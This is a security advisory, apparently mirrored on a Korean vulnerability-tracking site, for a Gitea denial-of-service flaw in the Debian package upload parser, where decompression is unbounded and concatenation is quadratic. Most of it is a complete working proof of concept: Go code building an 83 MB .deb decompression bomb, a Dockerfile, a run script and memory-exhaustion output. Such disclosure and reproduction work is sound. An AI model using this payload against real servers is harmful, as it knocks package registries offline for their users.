Gitea: Denial of Service (CPU & Memory Exhaustion) via O(N^2) String Concatenation in Debian Package Upload
위협 신호 · CVSS · EPSS · KEV
이론적 심각도 점수
예측 데이터 없음
실측 악용 기록 없음
계획된 패치 주기 내 조치(60일 이내)
CVSS 벡터 · 메트릭
CVSS 벡터 정보 없음
상세 설명
Gitea's Debian package registry parser contains an unbounded decompression vulnerability in ParseControlFile. When processing an uploaded .deb file, the parser decompresses control.tar.gz and copies the entire uncompressed stream into a strings.Builder via a TeeReader, with no limit on how much data is read. Because DEFLATE compression can achieve ratios exceeding 100:1 on repetitive input, an attacker can craft an 83 MB .deb payload that expands to over 16 GB during parsing, exhausting server memory before any content validation runs. A second issue compounds this: continuation lines in the Description field are concatenated with += at modules/packages/debian/metadata.go:161 inside a loop, producing O(N²) allocation and copy work that stalls the CPU even at moderate line counts. Any authenticated user with write access to the package registry can trigger a complete denial of service with a single upload request to the handler at routers/api/packages/debian/debian.go:146.
Root Cause
There are two distinct root causes that can be exploited independently or together.
1. Unbounded decompression (decompression bomb)
ParsePackage wraps the control.tar member in a decompressor but never constrains how many bytes that decompressor is allowed to produce:
The resulting inner reader is passed directly to the tar reader, and from there to ParseControlFile. Inside ParseControlFile,
every byte that the bufio.Scanner reads from the decompressed stream is simultaneously written into an unbounded
strings.Builder via io.TeeReader:
There is no call to io.LimitReader at any point in this chain. Other package format parsers in the same codebase — pub, conan, and cargo — all wrap their readers with io.LimitReader before consuming them. The Debian parser does not, making it the only one in the registry vulnerable to this class of attack.
2. O(N²) string concatenation
For each continuation line belonging to the Description field, the parser appends to a plain string with +=:
Because Go strings are immutable, every += allocates a new backing array and copies the entire accumulated description into it. A description with N continuation lines triggers O(N²) total bytes of allocation and copying. At 500 000 lines this produces roughly 250 GB of cumulative copy work, saturating a CPU core and driving the GC into a tight collection loop regardless of available RAM.
Reproducing
I have reproduced the issue in a Docker container with the following PoC. It may need tweaks based on the memory you are reproducing it with.
This has been reproduced on commit 9155a81b9daf1d46b2380aa91271e623ac947c1e.
All the files go in the gitea file directory.
cmd/poc/main.go
1package main 2 3import ( 4 "archive/tar" 5 "bytes" 6 "compress/gzip" 7 "fmt" 8 "io" 9 "os"10 "runtime"11 "strings"12 "time"13 14 "github.com/blakesmith/ar"15 16 debian_module "gitea.dev/modules/packages/debian"17)18 19// targetUncompressed is the desired size of the uncompressed control file.20// Set comfortably above the 12 GB container limit so the OOM kill is reliable.21const targetUncompressed = 15 * 1024 * 1024 * 1024 // 15 GB22 23// padLine is the filler field written after the required package fields.24// Using an unknown field key ("X") means the parser discards the value but the25// TeeReader still copies every byte into control.Builder — that is the bug.26// Unlike Description continuation lines this does NOT trigger the O(N²) path,27// so memory exhaustion is purely linear and fast.28const padLine = "X: a\n" // 5 bytes29 30// controlHeader is a minimal valid Debian control file preamble.31const controlHeader = "Package: evil\n" +32 "Version: 1.0\n" +33 "Architecture: amd64\n" +34 "Maintainer: Evil Hacker <evil@evil.com>\n" +35 "Description: exploit\n"36 37func printMem() {38 var m runtime.MemStats39 runtime.ReadMemStats(&m)40 // Print RSS-equivalent (HeapSys + StackSys covers most process memory).41 fmt.Printf("[mem] HeapAlloc=%.2f GB Sys=%.2f GB TotalAlloc=%.2f GB\n",42 float64(m.HeapAlloc)/1e9,43 float64(m.Sys)/1e9,44 float64(m.TotalAlloc)/1e9,45 )46}47 48// buildControlTarGz streams a gzip-compressed tar archive containing a single49// "control" entry whose uncompressed size is ~targetUncompressed bytes.50// Writing is done in large batches so the loop itself is fast; gzip compresses51// the repetitive content to a fraction of its original size.52func buildControlTarGz(w io.Writer) error {53 gzw, err := gzip.NewWriterLevel(w, gzip.BestSpeed)54 if err != nil {55 return fmt.Errorf("gzip.NewWriter: %w", err)56 }57 tw := tar.NewWriter(gzw)58 59 numPadLines := (targetUncompressed - len(controlHeader)) / len(padLine)60 totalSize := int64(len(controlHeader)) + int64(numPadLines)*int64(len(padLine))61 62 if err := tw.WriteHeader(&tar.Header{63 Name: "./control",64 Mode: 0o644,65 Size: totalSize,66 ModTime: time.Now(),67 Typeflag: tar.TypeReg,68 }); err != nil {69 return fmt.Errorf("tar WriteHeader: %w", err)70 }71 if _, err := tw.Write([]byte(controlHeader)); err != nil {72 return fmt.Errorf("write header: %w", err)73 }74 75 // Write padLine in 5 MB batches (1 M lines × 5 bytes).76 const batchLines = 1_000_00077 batch := []byte(strings.Repeat(padLine, batchLines))78 fullBatches := numPadLines / batchLines79 remainder := numPadLines % batchLines80 81 fmt.Printf(" Streaming %d lines (%.1f GB) through gzip...\n",82 numPadLines, float64(totalSize)/1e9)83 84 t0 := time.Now()85 for i := range fullBatches {86 if _, err := tw.Write(batch); err != nil {87 return fmt.Errorf("batch write: %w", err)88 }89 if i%500 == 0 && i > 0 {90 pct := float64(i) / float64(fullBatches) * 10091 fmt.Printf(" ... %.0f%% (%.1fs)\n", pct, time.Since(t0).Seconds())92 }93 }94 if remainder > 0 {95 if _, err := tw.Write(batch[:remainder*len(padLine)]); err != nil {96 return fmt.Errorf("remainder write: %w", err)97 }98 }99 100 if err := tw.Close(); err != nil {101 return fmt.Errorf("tar close: %w", err)102 }103 if err := gzw.Close(); err != nil {104 return fmt.Errorf("gzip close: %w", err)105 }106 fmt.Printf(" Done in %.1fs\n", time.Since(t0).Seconds())107 return nil108}109 110// buildDeb writes a complete .deb (ar archive) to w. The control.tar.gz member111// is the bomb; data.tar.gz is empty.112func buildDeb(w io.Writer) error {113 // Buffer control.tar.gz first so we know its compressed size for the ar header.114 var ctrlBuf bytes.Buffer115 fmt.Println("[phase 1] Generating control.tar.gz (compressed payload)...")116 if err := buildControlTarGz(&ctrlBuf); err != nil {117 return err118 }119 ctrlBytes := ctrlBuf.Bytes()120 fmt.Printf(" control.tar.gz compressed size: %.2f MB\n", float64(len(ctrlBytes))/1e6)121 122 // Empty data.tar.gz123 var dataBuf bytes.Buffer124 dgzw, _ := gzip.NewWriterLevel(&dataBuf, gzip.BestSpeed)125 tar.NewWriter(dgzw).Close()126 dgzw.Close()127 dataBytes := dataBuf.Bytes()128 129 arw := ar.NewWriter(w)130 if err := arw.WriteGlobalHeader(); err != nil {131 return err132 }133 now := time.Now()134 135 for _, member := range []struct {136 name string137 data []byte138 }{139 {"debian-binary", []byte("2.0\n")},140 {"control.tar.gz", ctrlBytes},141 {"data.tar.gz", dataBytes},142 } {143 if err := arw.WriteHeader(&ar.Header{144 Name: member.name,145 Size: int64(len(member.data)),146 Mode: 0o644,147 ModTime: now,148 }); err != nil {149 return fmt.Errorf("ar header %s: %w", member.name, err)150 }151 if _, err := arw.Write(member.data); err != nil {152 return fmt.Errorf("ar write %s: %w", member.name, err)153 }154 }155 return nil156}157 158func main() {159 fmt.Println("=== Gitea Debian Parser — Decompression Bomb PoC ===")160 fmt.Printf("Target uncompressed control file size: %.1f GB\n", float64(targetUncompressed)/1e9)161 fmt.Printf("Container memory limit: 12 GB\n\n")162 163 // Background goroutine prints memory stats every 2 s.164 go func() {165 for range time.Tick(2 * time.Second) {166 printMem()167 }168 }()169 170 // Phase 1 — create the payload and save it to a temp file.171 // Writing to disk keeps the ~200 MB compressed payload out of the heap172 // before we start the parse phase.173 tmp, err := os.CreateTemp("", "evil-*.deb")174 if err != nil {175 fmt.Fprintf(os.Stderr, "CreateTemp: %v\n", err)176 os.Exit(1)177 }178 defer os.Remove(tmp.Name())179 defer tmp.Close()180 181 t0 := time.Now()182 if err := buildDeb(tmp); err != nil {183 fmt.Fprintf(os.Stderr, "buildDeb: %v\n", err)184 os.Exit(1)185 }186 sz, _ := tmp.Seek(0, io.SeekCurrent)187 fmt.Printf("\nPayload .deb on disk: %.2f MB (took %.1fs)\n\n", float64(sz)/1e6, time.Since(t0).Seconds())188 189 // Phase 2 — call ParsePackage, mirroring UploadPackageFile at190 // routers/api/packages/debian/debian.go:146.191 // The TeeReader inside ParseControlFile (metadata.go:149) will copy the192 // entire 15 GB decompressed stream into control.Builder, exhausting the193 // 12 GB container limit and triggering an OOM kill.194 fmt.Println("[phase 2] Calling debian_module.ParsePackage (same call as the HTTP handler)...")195 fmt.Println(" Memory will grow until the container is OOM-killed.")196 printMem()197 198 if _, err := tmp.Seek(0, io.SeekStart); err != nil {199 fmt.Fprintf(os.Stderr, "seek: %v\n", err)200 os.Exit(1)201 }202 203 t1 := time.Now()204 _, parseErr := debian_module.ParsePackage(tmp)205 // We only reach here if ParsePackage returns before OOM (e.g. scanner error).206 fmt.Printf("\nParsePackage returned after %.1fs: %v\n", time.Since(t1).Seconds(), parseErr)207 printMem()208}Dockerfile.poc
1FROM golang:1.26-bookworm AS builder 2 3WORKDIR /src 4# Copy the full repo so the PoC can import gitea.dev/modules/packages/debian 5# and github.com/blakesmith/ar via the existing go.mod/go.sum. 6COPY . . 7 8# Build only the PoC binary; ignore the rest of the tree. 9RUN go build -o /poc ./cmd/poc/10 11# ── runtime image ──────────────────────────────────────────────────────────────12FROM debian:bookworm-slim13COPY --from=builder /poc /poc14ENTRYPOINT ["/poc"]Now run the PoC in the Docker container with:
1#!/usr/bin/env bash 2set -euo pipefail 3 4IMAGE=gitea-debian-poc 5 6echo "=== Building Docker image ===" 7docker build -f Dockerfile.poc -t "$IMAGE" . 8 9echo ""10echo "=== Running PoC (memory limit: 12 GB) ==="11echo " The container will be OOM-killed once memory is exhausted."12echo ""13 14# --memory caps RSS; --memory-swap equal to --memory disables swap.15# --oom-kill-disable is NOT set so the kernel OOM killer fires normally.16docker run --rm \17 --memory=12g \18 --memory-swap=12g \19 --name gitea-poc \20 "$IMAGE"21 22EXIT=$?23echo ""24if [ $EXIT -eq 137 ]; then25 echo "Container exited with code 137 (SIGKILL from OOM killer) — vulnerability confirmed."26else27 echo "Container exited with code $EXIT."28fiYou will see the following when running the container (see the heap allocation growing towards the end):
1=== Building Docker image === 2DEPRECATED: The legacy builder is deprecated and will be removed in a future release. 3 Install the buildx component to build images with BuildKit: 4 https://docs.docker.com/go/buildx/ 5 6Sending build context to Docker daemon 59.32MB 7Step 1/7 : FROM golang:1.26-bookworm AS builder 8 ---> eafdda676c2e 9Step 2/7 : WORKDIR /src10 ---> Using cache11 ---> db52a8f7348512Step 3/7 : COPY . .13 ---> Using cache14 ---> 4caf57c6e88915Step 4/7 : RUN go build -o /poc ./cmd/poc/16 ---> Using cache17 ---> 286afcb05d0e18Step 5/7 : FROM debian:bookworm-slim19 ---> f54f5c8e2e1220Step 6/7 : COPY --from=builder /poc /poc21 ---> Using cache22 ---> d7d0b269df4923Step 7/7 : ENTRYPOINT ["/poc"]24 ---> Using cache25 ---> b233faaad56126Successfully built b233faaad56127Successfully tagged gitea-debian-poc:latest28 29=== Running PoC (memory limit: 12 GB) ===30 The container will be OOM-killed once memory is exhausted.31 32=== Gitea Debian Parser — Decompression Bomb PoC ===33Target uncompressed control file size: 16.1 GB34Container memory limit: 12 GB35 36[phase 1] Generating control.tar.gz (compressed payload)...37 Streaming 3221225450 lines (16.1 GB) through gzip...38[mem] HeapAlloc=0.04 GB Sys=0.08 GB TotalAlloc=0.05 GB39 ... 16% (2.1s)40 ... 31% (3.9s)41[mem] HeapAlloc=0.07 GB Sys=0.11 GB TotalAlloc=0.08 GB42 ... 47% (5.8s)43[mem] HeapAlloc=0.11 GB Sys=0.18 GB TotalAlloc=0.15 GB44 ... 62% (7.4s)45[mem] HeapAlloc=0.11 GB Sys=0.18 GB TotalAlloc=0.15 GB46 ... 78% (9.0s)47[mem] HeapAlloc=0.21 GB Sys=0.31 GB TotalAlloc=0.29 GB48 ... 93% (10.8s)49 Done in 11.5s50 control.tar.gz compressed size: 83.07 MB51 52Payload .deb on disk: 83.07 MB (took 11.6s)53 54[phase 2] Calling debian_module.ParsePackage (same call as the HTTP handler)...55 Memory will grow until the container is OOM-killed.56[mem] HeapAlloc=0.21 GB Sys=0.31 GB TotalAlloc=0.29 GB57[mem] HeapAlloc=0.41 GB Sys=0.44 GB TotalAlloc=0.48 GB58[mem] HeapAlloc=0.25 GB Sys=0.61 GB TotalAlloc=1.63 GB59[mem] HeapAlloc=0.63 GB Sys=0.97 GB TotalAlloc=2.63 GB60[mem] HeapAlloc=0.83 GB Sys=1.52 GB TotalAlloc=3.80 GB61[mem] HeapAlloc=1.39 GB Sys=2.00 GB TotalAlloc=5.34 GB62[mem] HeapAlloc=1.37 GB Sys=2.00 GB TotalAlloc=5.86 GB63[mem] HeapAlloc=1.42 GB Sys=2.60 GB TotalAlloc=6.97 GB64[mem] HeapAlloc=1.40 GB Sys=3.35 GB TotalAlloc=8.26 GB65[mem] HeapAlloc=2.25 GB Sys=3.36 GB TotalAlloc=9.11 GB66[mem] HeapAlloc=1.97 GB Sys=4.28 GB TotalAlloc=10.48 GB67[mem] HeapAlloc=2.73 GB Sys=4.29 GB TotalAlloc=11.23 GB68[mem] HeapAlloc=2.77 GB Sys=5.45 GB TotalAlloc=12.67 GB69[mem] HeapAlloc=2.90 GB Sys=5.45 GB TotalAlloc=13.46 GB70[mem] HeapAlloc=3.57 GB Sys=5.46 GB TotalAlloc=14.13 GB71[mem] HeapAlloc=2.94 GB Sys=5.46 GB TotalAlloc=16.07 GB72[mem] HeapAlloc=3.72 GB Sys=5.47 GB TotalAlloc=16.85 GB73[mem] HeapAlloc=4.50 GB Sys=5.48 GB TotalAlloc=17.64 GB74[mem] HeapAlloc=5.30 GB Sys=7.28 GB TotalAlloc=19.58 GB75[mem] HeapAlloc=3.82 GB Sys=7.28 GB TotalAlloc=20.17 GB76[mem] HeapAlloc=4.66 GB Sys=7.29 GB TotalAlloc=21.01 GB77[mem] HeapAlloc=5.33 GB Sys=7.29 GB TotalAlloc=21.67 GB78[mem] HeapAlloc=6.62 GB Sys=9.56 GB TotalAlloc=24.40 GB79[mem] HeapAlloc=6.62 GB Sys=9.56 GB TotalAlloc=24.40 GB80[mem] HeapAlloc=4.72 GB Sys=9.56 GB TotalAlloc=25.09 GB81[mem] HeapAlloc=5.54 GB Sys=9.56 GB TotalAlloc=25.90 GB82[mem] HeapAlloc=6.28 GB Sys=9.57 GB TotalAlloc=26.64 GB83[mem] HeapAlloc=7.15 GB Sys=9.59 GB TotalAlloc=27.51 GB84[mem] HeapAlloc=8.27 GB Sys=12.40 GB TotalAlloc=30.43 GB85[mem] HeapAlloc=5.52 GB Sys=12.40 GB TotalAlloc=30.90 GB86[mem] HeapAlloc=6.35 GB Sys=12.40 GB TotalAlloc=31.74 GB87[mem] HeapAlloc=7.18 GB Sys=12.40 GB TotalAlloc=32.57 GB88[mem] HeapAlloc=8.01 GB Sys=12.41 GB TotalAlloc=33.39 GB89[mem] HeapAlloc=8.80 GB Sys=12.43 GB TotalAlloc=34.19 GBAI 심층 분석
공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.
참고 자료 7
링크 내용 불러오는 중…